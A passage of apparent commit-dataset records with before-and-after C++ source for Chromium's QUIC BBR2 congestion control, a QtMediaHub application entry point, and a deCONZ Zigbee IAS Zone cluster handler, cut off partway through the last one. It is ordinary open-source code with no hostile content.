sample.sample_max_bandwidth;\n  }\n\n  if (sample.sample_max_inflight > inflight_latest_) {\n    inflight_latest_ = sample.sample_max_inflight;\n  }\n\n  if (!congestion_event->end_of_round_trip) {\n    return;\n  }\n\n  \/\/ Per round-trip updates.\n  AdaptLowerBounds(*congestion_event);\n\n  if (!sample.sample_max_bandwidth.IsZero()) {\n    bandwidth_latest_ = sample.sample_max_bandwidth;\n  }\n\n  if (sample.sample_max_inflight > 0) {\n    inflight_latest_ = sample.sample_max_inflight;\n  }\n}\n\nvoid Bbr2NetworkModel::AdaptLowerBounds(\n    const Bbr2CongestionEvent& congestion_event) {\n  if (!congestion_event.end_of_round_trip ||\n      congestion_event.is_probing_for_bandwidth) {\n    return;\n  }\n\n  if (bytes_lost_in_round_ > 0) {\n    if (bandwidth_lo_.IsInfinite()) {\n      bandwidth_lo_ = MaxBandwidth();\n    }\n    bandwidth_lo_ =\n        std::max(bandwidth_latest_, bandwidth_lo_ * (1.0 - Params().beta));\n    QUIC_DVLOG(3) << \"bandwidth_lo_ updated to \" << bandwidth_lo_\n                  << \", bandwidth_latest_ is \" << bandwidth_latest_;\n\n    if (Params().ignore_inflight_lo) {\n      return;\n    }\n    if (inflight_lo_ == inflight_lo_default()) {\n      inflight_lo_ = congestion_event.prior_cwnd;\n    }\n    inflight_lo_ = std::max<QuicByteCount>(\n        inflight_latest_, inflight_lo_ * (1.0 - Params().beta));\n  }\n}\n\nvoid Bbr2NetworkModel::OnCongestionEventFinish(\n    QuicPacketNumber least_unacked_packet,\n    const Bbr2CongestionEvent& congestion_event) {\n  if (congestion_event.end_of_round_trip) {\n    bytes_lost_in_round_ = 0;\n    loss_events_in_round_ = 0;\n  }\n\n  bandwidth_sampler_.RemoveObsoletePackets(least_unacked_packet);\n}\n\nvoid Bbr2NetworkModel::UpdateNetworkParameters(QuicTime::Delta rtt) {\n  if (!rtt.IsZero()) {\n    min_rtt_filter_.Update(rtt, MinRttTimestamp());\n  }\n}\n\nbool Bbr2NetworkModel::MaybeExpireMinRtt(\n    const Bbr2CongestionEvent& congestion_event) {\n  if (congestion_event.event_time <\n      (MinRttTimestamp() + Params().probe_rtt_period)) {\n    return false;\n  }\n  if (congestion_event.sample_min_rtt.IsInfinite()) {\n    return false;\n  }\n  QUIC_DVLOG(3) << \"Replacing expired min rtt of \" << min_rtt_filter_.Get()\n                << \" by \" << congestion_event.sample_min_rtt << \"  @ \"\n                << congestion_event.event_time;\n  min_rtt_filter_.ForceUpdate(congestion_event.sample_min_rtt,\n                              congestion_event.event_time);\n  return true;\n}\n\nbool Bbr2NetworkModel::IsCongestionWindowLimited(\n    const Bbr2CongestionEvent& congestion_event) const {\n  QuicByteCount prior_bytes_in_flight = congestion_event.bytes_in_flight +\n                                        congestion_event.bytes_acked +\n                                        congestion_event.bytes_lost;\n  return prior_bytes_in_flight >= congestion_event.prior_cwnd;\n}\n\nbool Bbr2NetworkModel::IsInflightTooHigh(\n    const Bbr2CongestionEvent& congestion_event,\n    int64_t max_loss_events) const {\n  const SendTimeState& send_state = congestion_event.last_packet_send_state;\n  if (!send_state.is_valid) {\n    \/\/ Not enough information.\n    return false;\n  }\n\n  if (loss_events_in_round() < max_loss_events) {\n    return false;\n  }\n\n  const QuicByteCount inflight_at_send = BytesInFlight(send_state);\n  \/\/ TODO(wub): Consider total_bytes_lost() - send_state.total_bytes_lost, which\n  \/\/ is the total bytes lost when the largest numbered packet was inflight.\n  \/\/ bytes_lost_in_round_, OTOH, is the total bytes lost in the \"current\" round.\n  const QuicByteCount bytes_lost_in_round = bytes_lost_in_round_;\n\n  QUIC_DVLOG(3) << \"IsInflightTooHigh: loss_events_in_round:\"\n                << loss_events_in_round()\n\n                << \" bytes_lost_in_round:\" << bytes_lost_in_round\n                << \", lost_in_round_threshold:\"\n                << inflight_at_send * Params().loss_threshold;\n\n  if (inflight_at_send > 0 && bytes_lost_in_round > 0) {\n    QuicByteCount lost_in_round_threshold =\n        inflight_at_send * Params().loss_threshold;\n    if (bytes_lost_in_round > lost_in_round_threshold) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nvoid Bbr2NetworkModel::RestartRound() {\n  bytes_lost_in_round_ = 0;\n  loss_events_in_round_ = 0;\n  max_bytes_delivered_in_round_ = 0;\n  round_trip_counter_.RestartRound();\n}\n\nvoid Bbr2NetworkModel::cap_inflight_lo(QuicByteCount cap) {\n  if (Params().ignore_inflight_lo) {\n    return;\n  }\n  if (inflight_lo_ != inflight_lo_default() && inflight_lo_ > cap) {\n    inflight_lo_ = cap;\n  }\n}\n\nQuicByteCount Bbr2NetworkModel::inflight_hi_with_headroom() const {\n  QuicByteCount headroom = inflight_hi_ * Params().inflight_hi_headroom;\n\n  return inflight_hi_ > headroom ? inflight_hi_ - headroom : 0;\n}\n\n}  \/\/ namespace quic\n<commit_msg>Move the call to AdaptLowerBounds so it's called on every congestion event.  It already exits early if it's not the end of the round, so this is not a functional change.  In preparation for cr\/305164640<commit_after>\/\/ Copyright 2019 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/third_party\/quiche\/src\/quic\/core\/congestion_control\/bbr2_misc.h\"\n\n#include \"net\/third_party\/quiche\/src\/quic\/core\/congestion_control\/bandwidth_sampler.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_bandwidth.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_time.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_types.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/platform\/api\/quic_logging.h\"\n\nnamespace quic {\n\nRoundTripCounter::RoundTripCounter() : round_trip_count_(0) {}\n\nvoid RoundTripCounter::OnPacketSent(QuicPacketNumber packet_number) {\n  DCHECK(!last_sent_packet_.IsInitialized() ||\n         last_sent_packet_ < packet_number);\n  last_sent_packet_ = packet_number;\n}\n\nbool RoundTripCounter::OnPacketsAcked(QuicPacketNumber last_acked_packet) {\n  if (!end_of_round_trip_.IsInitialized() ||\n      last_acked_packet > end_of_round_trip_) {\n    round_trip_count_++;\n    end_of_round_trip_ = last_sent_packet_;\n    return true;\n  }\n  return false;\n}\n\nvoid RoundTripCounter::RestartRound() {\n  end_of_round_trip_ = last_sent_packet_;\n}\n\nMinRttFilter::MinRttFilter(QuicTime::Delta initial_min_rtt,\n                           QuicTime initial_min_rtt_timestamp)\n    : min_rtt_(initial_min_rtt),\n      min_rtt_timestamp_(initial_min_rtt_timestamp) {}\n\nvoid MinRttFilter::Update(QuicTime::Delta sample_rtt, QuicTime now) {\n  if (sample_rtt < min_rtt_ || min_rtt_timestamp_ == QuicTime::Zero()) {\n    min_rtt_ = sample_rtt;\n    min_rtt_timestamp_ = now;\n  }\n}\n\nvoid MinRttFilter::ForceUpdate(QuicTime::Delta sample_rtt, QuicTime now) {\n  min_rtt_ = sample_rtt;\n  min_rtt_timestamp_ = now;\n}\n\nBbr2NetworkModel::Bbr2NetworkModel(const Bbr2Params* params,\n                                   QuicTime::Delta initial_rtt,\n                                   QuicTime initial_rtt_timestamp,\n                                   float cwnd_gain,\n                                   float pacing_gain,\n                                   const BandwidthSampler* old_sampler)\n    : params_(params),\n      bandwidth_sampler_([](QuicRoundTripCount max_height_tracker_window_length,\n                            const BandwidthSampler* old_sampler) {\n        if (old_sampler != nullptr) {\n          return BandwidthSampler(*old_sampler);\n        }\n        return BandwidthSampler(\/*unacked_packet_map=*\/nullptr,\n                                max_height_tracker_window_length);\n      }(params->initial_max_ack_height_filter_window, old_sampler)),\n      min_rtt_filter_(initial_rtt, initial_rtt_timestamp),\n      cwnd_gain_(cwnd_gain),\n      pacing_gain_(pacing_gain) {}\n\nvoid Bbr2NetworkModel::OnPacketSent(QuicTime sent_time,\n                                    QuicByteCount bytes_in_flight,\n                                    QuicPacketNumber packet_number,\n                                    QuicByteCount bytes,\n                                    HasRetransmittableData is_retransmittable) {\n  round_trip_counter_.OnPacketSent(packet_number);\n\n  bandwidth_sampler_.OnPacketSent(sent_time, packet_number, bytes,\n                                  bytes_in_flight, is_retransmittable);\n}\n\nvoid Bbr2NetworkModel::OnCongestionEventStart(\n    QuicTime event_time,\n    const AckedPacketVector& acked_packets,\n    const LostPacketVector& lost_packets,\n    Bbr2CongestionEvent* congestion_event) {\n  const QuicByteCount prior_bytes_acked = total_bytes_acked();\n  const QuicByteCount prior_bytes_lost = total_bytes_lost();\n\n  congestion_event->event_time = event_time;\n  congestion_event->end_of_round_trip =\n      acked_packets.empty() ? false\n                            : round_trip_counter_.OnPacketsAcked(\n                                  acked_packets.rbegin()->packet_number);\n\n  BandwidthSamplerInterface::CongestionEventSample sample =\n      bandwidth_sampler_.OnCongestionEvent(event_time, acked_packets,\n                                           lost_packets, MaxBandwidth(),\n                                           bandwidth_lo(), RoundTripCount());\n\n  if (sample.last_packet_send_state.is_valid) {\n    congestion_event->last_packet_send_state = sample.last_packet_send_state;\n    congestion_event->last_sample_is_app_limited =\n        sample.last_packet_send_state.is_app_limited;\n  }\n\n  \/\/ Avoid updating |max_bandwidth_filter_| if a) this is a loss-only event, or\n  \/\/ b) all packets in |acked_packets| did not generate valid samples. (e.g. ack\n  \/\/ of ack-only packets). In both cases, total_bytes_acked() will not change.\n  if (prior_bytes_acked != total_bytes_acked()) {\n    QUIC_LOG_IF(WARNING, sample.sample_max_bandwidth.IsZero())\n        << total_bytes_acked() - prior_bytes_acked << \" bytes from \"\n        << acked_packets.size()\n        << \" packets have been acked, but sample_max_bandwidth is zero.\";\n    if (!sample.sample_is_app_limited ||\n        sample.sample_max_bandwidth > MaxBandwidth()) {\n      congestion_event->sample_max_bandwidth = sample.sample_max_bandwidth;\n      max_bandwidth_filter_.Update(congestion_event->sample_max_bandwidth);\n    }\n  }\n\n  if (!sample.sample_rtt.IsInfinite()) {\n    congestion_event->sample_min_rtt = sample.sample_rtt;\n    min_rtt_filter_.Update(congestion_event->sample_min_rtt, event_time);\n  }\n\n  congestion_event->bytes_acked = total_bytes_acked() - prior_bytes_acked;\n  congestion_event->bytes_lost = total_bytes_lost() - prior_bytes_lost;\n\n  if (congestion_event->prior_bytes_in_flight >=\n      congestion_event->bytes_acked + congestion_event->bytes_lost) {\n    congestion_event->bytes_in_flight =\n        congestion_event->prior_bytes_in_flight -\n        congestion_event->bytes_acked - congestion_event->bytes_lost;\n  } else {\n    QUIC_LOG_FIRST_N(ERROR, 1)\n        << \"prior_bytes_in_flight:\" << congestion_event->prior_bytes_in_flight\n        << \" is smaller than the sum of bytes_acked:\"\n        << congestion_event->bytes_acked\n        << \" and bytes_lost:\" << congestion_event->bytes_lost;\n    congestion_event->bytes_in_flight = 0;\n  }\n\n  if (congestion_event->bytes_lost > 0) {\n    bytes_lost_in_round_ += congestion_event->bytes_lost;\n    loss_events_in_round_++;\n  }\n\n  if (congestion_event->bytes_acked > 0 &&\n      congestion_event->last_packet_send_state.is_valid &&\n      total_bytes_acked() >\n          congestion_event->last_packet_send_state.total_bytes_acked) {\n    QuicByteCount bytes_delivered =\n        total_bytes_acked() -\n        congestion_event->last_packet_send_state.total_bytes_acked;\n    max_bytes_delivered_in_round_ =\n        std::max(max_bytes_delivered_in_round_, bytes_delivered);\n  }\n\n  \/\/ |bandwidth_latest_| and |inflight_latest_| only increased within a round.\n  if (sample.sample_max_bandwidth > bandwidth_latest_) {\n    bandwidth_latest_ = sample.sample_max_bandwidth;\n  }\n\n  if (sample.sample_max_inflight > inflight_latest_) {\n    inflight_latest_ = sample.sample_max_inflight;\n  }\n\n  AdaptLowerBounds(*congestion_event);\n\n  if (!congestion_event->end_of_round_trip) {\n    return;\n  }\n\n  if (!sample.sample_max_bandwidth.IsZero()) {\n    bandwidth_latest_ = sample.sample_max_bandwidth;\n  }\n\n  if (sample.sample_max_inflight > 0) {\n    inflight_latest_ = sample.sample_max_inflight;\n  }\n}\n\nvoid Bbr2NetworkModel::AdaptLowerBounds(\n    const Bbr2CongestionEvent& congestion_event) {\n  if (!congestion_event.end_of_round_trip ||\n      congestion_event.is_probing_for_bandwidth) {\n    return;\n  }\n\n  if (bytes_lost_in_round_ > 0) {\n    if (bandwidth_lo_.IsInfinite()) {\n      bandwidth_lo_ = MaxBandwidth();\n    }\n    bandwidth_lo_ =\n        std::max(bandwidth_latest_, bandwidth_lo_ * (1.0 - Params().beta));\n    QUIC_DVLOG(3) << \"bandwidth_lo_ updated to \" << bandwidth_lo_\n                  << \", bandwidth_latest_ is \" << bandwidth_latest_;\n\n    if (Params().ignore_inflight_lo) {\n      return;\n    }\n    if (inflight_lo_ == inflight_lo_default()) {\n      inflight_lo_ = congestion_event.prior_cwnd;\n    }\n    inflight_lo_ = std::max<QuicByteCount>(\n        inflight_latest_, inflight_lo_ * (1.0 - Params().beta));\n  }\n}\n\nvoid Bbr2NetworkModel::OnCongestionEventFinish(\n    QuicPacketNumber least_unacked_packet,\n    const Bbr2CongestionEvent& congestion_event) {\n  if (congestion_event.end_of_round_trip) {\n    bytes_lost_in_round_ = 0;\n    loss_events_in_round_ = 0;\n  }\n\n  bandwidth_sampler_.RemoveObsoletePackets(least_unacked_packet);\n}\n\nvoid Bbr2NetworkModel::UpdateNetworkParameters(QuicTime::Delta rtt) {\n  if (!rtt.IsZero()) {\n    min_rtt_filter_.Update(rtt, MinRttTimestamp());\n  }\n}\n\nbool Bbr2NetworkModel::MaybeExpireMinRtt(\n    const Bbr2CongestionEvent& congestion_event) {\n  if (congestion_event.event_time <\n      (MinRttTimestamp() + Params().probe_rtt_period)) {\n    return false;\n  }\n  if (congestion_event.sample_min_rtt.IsInfinite()) {\n    return false;\n  }\n  QUIC_DVLOG(3) << \"Replacing expired min rtt of \" << min_rtt_filter_.Get()\n                << \" by \" << congestion_event.sample_min_rtt << \"  @ \"\n                << congestion_event.event_time;\n  min_rtt_filter_.ForceUpdate(congestion_event.sample_min_rtt,\n                              congestion_event.event_time);\n  return true;\n}\n\nbool Bbr2NetworkModel::IsCongestionWindowLimited(\n    const Bbr2CongestionEvent& congestion_event) const {\n  QuicByteCount prior_bytes_in_flight = congestion_event.bytes_in_flight +\n                                        congestion_event.bytes_acked +\n                                        congestion_event.bytes_lost;\n  return prior_bytes_in_flight >= congestion_event.prior_cwnd;\n}\n\nbool Bbr2NetworkModel::IsInflightTooHigh(\n    const Bbr2CongestionEvent& congestion_event,\n    int64_t max_loss_events) const {\n  const SendTimeState& send_state = congestion_event.last_packet_send_state;\n  if (!send_state.is_valid) {\n    \/\/ Not enough information.\n    return false;\n  }\n\n  if (loss_events_in_round() < max_loss_events) {\n    return false;\n  }\n\n  const QuicByteCount inflight_at_send = BytesInFlight(send_state);\n  \/\/ TODO(wub): Consider total_bytes_lost() - send_state.total_bytes_lost, which\n  \/\/ is the total bytes lost when the largest numbered packet was inflight.\n  \/\/ bytes_lost_in_round_, OTOH, is the total bytes lost in the \"current\" round.\n  const QuicByteCount bytes_lost_in_round = bytes_lost_in_round_;\n\n  QUIC_DVLOG(3) << \"IsInflightTooHigh: loss_events_in_round:\"\n                << loss_events_in_round()\n\n                << \" bytes_lost_in_round:\" << bytes_lost_in_round\n                << \", lost_in_round_threshold:\"\n                << inflight_at_send * Params().loss_threshold;\n\n  if (inflight_at_send > 0 && bytes_lost_in_round > 0) {\n    QuicByteCount lost_in_round_threshold =\n        inflight_at_send * Params().loss_threshold;\n    if (bytes_lost_in_round > lost_in_round_threshold) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nvoid Bbr2NetworkModel::RestartRound() {\n  bytes_lost_in_round_ = 0;\n  loss_events_in_round_ = 0;\n  max_bytes_delivered_in_round_ = 0;\n  round_trip_counter_.RestartRound();\n}\n\nvoid Bbr2NetworkModel::cap_inflight_lo(QuicByteCount cap) {\n  if (Params().ignore_inflight_lo) {\n    return;\n  }\n  if (inflight_lo_ != inflight_lo_default() && inflight_lo_ > cap) {\n    inflight_lo_ = cap;\n  }\n}\n\nQuicByteCount Bbr2NetworkModel::inflight_hi_with_headroom() const {\n  QuicByteCount headroom = inflight_hi_ * Params().inflight_hi_headroom;\n\n  return inflight_hi_ > headroom ? inflight_hi_ - headroom : 0;\n}\n\n}  \/\/ namespace quic\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n\nThis file is part of the QtMediaHub project on http:\/\/www.gitorious.org.\n\nCopyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).*\nAll rights reserved.\n\nContact:  Nokia Corporation (qt-info@nokia.com)**\n\nYou may use this file under the terms of the BSD license as follows:\n\n\"Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* Neither the name of Nokia Corporation and its Subsidiary(-ies) nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"\n\n****************************************************************************\/\n\n#include <QApplication>\n#ifdef GL\n#include <QGLFormat>\n#endif\n#ifdef QT_SINGLE_APPLICATION\n#include \"qtsingleapplication.h\"\n#endif\n\n#include \"backend.h\"\n#include \"qmh-config.h\"\n\nint main(int argc, char** argv)\n{\n    QApplication::setGraphicsSystem(\"raster\");\n\n#ifdef GL\n    \/\/Purely for experimentation\n    QGLFormat format;\n    \/\/should suffice\n    format.setDepth(false);\n\/\/    plan b: russian roulette\n\/\/    format.setStencil(false);\n\n#ifdef Q_OS_MAC\n    format.setSampleBuffers(true);\n#else\n    format.setSampleBuffers(false);\n#endif \/\/Q_OS_MAC\n\n\/\/    \/\/FIXME: Should be configurable, but Config\n\/\/    blocked by instantiation of QApplication\n\/\/    \/\/vsync\n    format.setSwapInterval(1);\n\/\/    \/\/no vsync\n\/\/    format.setSwapInterval(0);\n\/\/    format.setDoubleBuffer(false);\n\/\/    format.setAlpha(false);\n\/\/    format.setDirectRendering(false);\n\n    QGLFormat::setDefaultFormat(format);\n\n#ifdef GLGS\n    \/\/Only legitimate use is in fullscreen QGraphicsView derived classes!\n    \/\/If you use this in conjunction with our traditional QWidget style functionality\n    \/\/You are in for a rough ride\n    if (Config::isEnabled(\"use-gl\", true))\n        QApplication::setGraphicsSystem(\"opengl\");\n#endif \/\/GLGS\n#endif \/\/GL\n\n#ifdef QT_SINGLE_APPLICATION\n    QtSingleApplication app(argc, argv);\n#else\n    QApplication app(argc, argv);\n#endif \/\/QT_SINGLE_APPLICATION\n\n    app.setApplicationName(\"qtmediahub\");\n    app.setOrganizationName(\"Nokia\");\n    app.setOrganizationDomain(\"nokia.com\");\n\n#ifdef QT_SINGLE_APPLICATION\n    if (!Config::isEnabled(\"multi-instance\", false) && app.isRunning()) {\n        qWarning() << app.applicationName() << \"is already running, aborting\";\n        return false;\n    }\n#endif \/\/QT_SINGLE_APPLICATION\n    Config::init(argc, argv);\n\n    Backend::instance();\n\n    return app.exec();\n}\n<commit_msg>Fix freeing of backend instance<commit_after>\/****************************************************************************\n\nThis file is part of the QtMediaHub project on http:\/\/www.gitorious.org.\n\nCopyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).*\nAll rights reserved.\n\nContact:  Nokia Corporation (qt-info@nokia.com)**\n\nYou may use this file under the terms of the BSD license as follows:\n\n\"Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* Neither the name of Nokia Corporation and its Subsidiary(-ies) nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"\n\n****************************************************************************\/\n\n#include <QApplication>\n#ifdef GL\n#include <QGLFormat>\n#endif\n#ifdef QT_SINGLE_APPLICATION\n#include \"qtsingleapplication.h\"\n#endif\n\n#include \"backend.h\"\n#include \"qmh-config.h\"\n\nint main(int argc, char** argv)\n{\n    QApplication::setGraphicsSystem(\"raster\");\n\n#ifdef GL\n    \/\/Purely for experimentation\n    QGLFormat format;\n    \/\/should suffice\n    format.setDepth(false);\n\/\/    plan b: russian roulette\n\/\/    format.setStencil(false);\n\n#ifdef Q_OS_MAC\n    format.setSampleBuffers(true);\n#else\n    format.setSampleBuffers(false);\n#endif \/\/Q_OS_MAC\n\n\/\/    \/\/FIXME: Should be configurable, but Config\n\/\/    blocked by instantiation of QApplication\n\/\/    \/\/vsync\n    format.setSwapInterval(1);\n\/\/    \/\/no vsync\n\/\/    format.setSwapInterval(0);\n\/\/    format.setDoubleBuffer(false);\n\/\/    format.setAlpha(false);\n\/\/    format.setDirectRendering(false);\n\n    QGLFormat::setDefaultFormat(format);\n\n#ifdef GLGS\n    \/\/Only legitimate use is in fullscreen QGraphicsView derived classes!\n    \/\/If you use this in conjunction with our traditional QWidget style functionality\n    \/\/You are in for a rough ride\n    if (Config::isEnabled(\"use-gl\", true))\n        QApplication::setGraphicsSystem(\"opengl\");\n#endif \/\/GLGS\n#endif \/\/GL\n\n#ifdef QT_SINGLE_APPLICATION\n    QtSingleApplication app(argc, argv);\n#else\n    QApplication app(argc, argv);\n#endif \/\/QT_SINGLE_APPLICATION\n\n    app.setApplicationName(\"qtmediahub\");\n    app.setOrganizationName(\"Nokia\");\n    app.setOrganizationDomain(\"nokia.com\");\n\n#ifdef QT_SINGLE_APPLICATION\n    if (!Config::isEnabled(\"multi-instance\", false) && app.isRunning()) {\n        qWarning() << app.applicationName() << \"is already running, aborting\";\n        return false;\n    }\n#endif \/\/QT_SINGLE_APPLICATION\n    Config::init(argc, argv);\n\n    Backend::instance();\n\n    int ret = app.exec();\n\n    delete Backend::instance();\n\n    return ret;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2017-2019 dresden elektronik ingenieurtechnik gmbh.\n * All rights reserved.\n *\n * The software in this package is published under the terms of the BSD\n * style license a copy of which has been included with this distribution in\n * the LICENSE.txt file.\n *\n *\/\n\n#include <QString>\n#include <QVariantMap>\n#include \"de_web_plugin.h\"\n#include \"de_web_plugin_private.h\"\n#include \"json.h\"\n\n\/\/ server send\n#define CMD_STATUS_CHANGE_NOTIFICATION 0x00\n#define CMD_ZONE_ENROLL_REQUEST 0x01\n\/\/ server receive\n#define CMD_ZONE_ENROLL_RESPONSE 0x00\n\n\/\/ Zone status flags\n#define STATUS_ALARM1         0x0001\n#define STATUS_ALARM2         0x0002\n#define STATUS_TAMPER         0x0004\n#define STATUS_BATTERY        0x0008\n#define STATUS_SUPERVISION    0x0010\n#define STATUS_RESTORE_REP    0x0020\n#define STATUS_TROUBLE        0x0040\n#define STATUS_AC_MAINS       0x0080\n#define STATUS_TEST           0x0100\n#define STATUS_BATTERY_DEFECT 0x0200\n\n\/*! Handle packets related to the ZCL IAS Zone cluster.\n    \\param ind the APS level data indication containing the ZCL packet\n    \\param zclFrame the actual ZCL frame which holds the IAS zone server command\n *\/\nvoid DeRestPluginPrivate::handleIasZoneClusterIndication(const deCONZ::ApsDataIndication &ind, deCONZ::ZclFrame &zclFrame)\n{\n    Q_UNUSED(ind);\n\n    QDataStream stream(zclFrame.payload());\n    stream.setByteOrder(QDataStream::LittleEndian);\n\n    if (!(zclFrame.frameControl() & deCONZ::ZclFCDirectionServerToClient))\n    {\n        return;\n    }\n\n    if (zclFrame.isProfileWideCommand() && zclFrame.commandId() == deCONZ::ZclReadAttributesResponseId)\n    {\n        \/\/ during setup the IAS Zone type will be read\n        \/\/ start to proceed discovery here\n        if (searchSensorsState == SearchSensorsActive)\n        {\n            if (!fastProbeTimer->isActive())\n            {\n                fastProbeTimer->start(5);\n            }\n        }\n    }\n\n    quint16 attrId = 0;\n    quint16 zoneStatus = 0; \/\/ might be reported or received via CMD_STATUS_CHANGE_NOTIFICATION\n\n    if (zclFrame.isProfileWideCommand() && zclFrame.commandId() == deCONZ::ZclReportAttributesId)\n    {\n        quint16 a;\n        quint8 dataType;\n\n        stream >> a;\n        stream >> dataType;\n\n        if (a == IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID && dataType == deCONZ::Zcl16BitBitMap)\n        {\n            attrId = a; \/\/ mark as reported\n            stream >> zoneStatus;\n        }\n\n        if (stream.status() == QDataStream::ReadPastEnd)\n        {\n            return; \/\/ sanity\n        }\n    }\n\n    if ((zclFrame.commandId() == CMD_STATUS_CHANGE_NOTIFICATION && zclFrame.isClusterCommand()) || attrId == IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID)\n    {\n\n        if (zclFrame.commandId() == CMD_STATUS_CHANGE_NOTIFICATION)\n        {\n            quint8 extendedStatus;\n            quint8 zoneId;\n            quint16 delay;\n            stream >> zoneStatus;\n            stream >> extendedStatus; \/\/ reserved, set to 0\n            stream >> zoneId;\n            stream >> delay;\n            DBG_Printf(DBG_ZCL, \"IAS Zone Status Change, status: 0x%04X, zoneId: %u, delay: %u\\n\", zoneStatus, zoneId, delay);\n        }\n\n        Sensor *sensor = nullptr;\n\n        for (Sensor &s : sensors)\n        {\n            if (s.deletedState() != Sensor::StateNormal)\n            {\n                continue;\n            }\n\n            if (!s.fingerPrint().hasInCluster(IAS_ZONE_CLUSTER_ID) && !s.fingerPrint().hasInCluster(IAS_WD_CLUSTER_ID))\n            {\n                continue;\n            }\n\n            if (s.type() != QLatin1String(\"ZHAAlarm\") &&\n                s.type() != QLatin1String(\"ZHACarbonMonoxide\") &&\n                s.type() != QLatin1String(\"ZHAFire\") &&\n                s.type() != QLatin1String(\"ZHAOpenClose\") &&\n                s.type() != QLatin1String(\"ZHAPresence\") &&\n                s.type() != QLatin1String(\"ZHAVibration\") &&\n                s.type() != QLatin1String(\"ZHAWater\"))\n            {\n                continue;\n            }\n\n            if ((ind.srcAddress().hasExt() && s.address().ext() == ind.srcAddress().ext()) ||\n                (ind.srcAddress().hasNwk() && s.address().nwk() == ind.srcAddress().nwk()))\n            {\n                sensor = &s;\n                break;\n            }\n        }\n\n        if (!sensor)\n        {\n            return;\n        }\n\n        const char *attr = nullptr;\n        if (sensor->type() == QLatin1String(\"ZHAAlarm\"))\n        {\n            attr = RStateAlarm;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHACarbonMonoxide\"))\n        {\n            attr = RStateCarbonMonoxide;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAFire\"))\n        {\n            attr = RStateFire;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAOpenClose\"))\n        {\n            attr = RStateOpen;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAPresence\"))\n        {\n            attr = RStatePresence;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAVibration\"))\n        {\n            attr = RStateVibration;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAWater\"))\n        {\n            attr = RStateWater;\n        }\n\n        ResourceItem *item = nullptr;\n        if (attr)\n        {\n            item = sensor->item(attr);\n        }\n\n        if (item)\n        {\n            sensor->rx();\n            sensor->incrementRxCounter();\n            bool alarm = (zoneStatus & (STATUS_ALARM1 | STATUS_ALARM2)) ? true : false;\n            item->setValue(alarm);\n            sensor->updateStateTimestamp();\n            sensor->setNeedSaveDatabase(true);\n            updateSensorEtag(sensor);\n            enqueueEvent(Event(RSensors, item->descriptor().suffix, sensor->id(), item));\n            enqueueEvent(Event(RSensors, RStateLastUpdated, sensor->id()));\n\n            ResourceItem *item2 = sensor->item(RStateLowBattery);\n            if (item2)\n            {\n                bool battery = (zoneStatus & STATUS_BATTERY) ? true : false;\n                item2->setValue(battery);\n                enqueueEvent(Event(RSensors, RStateLowBattery, sensor->id(), item2));\n            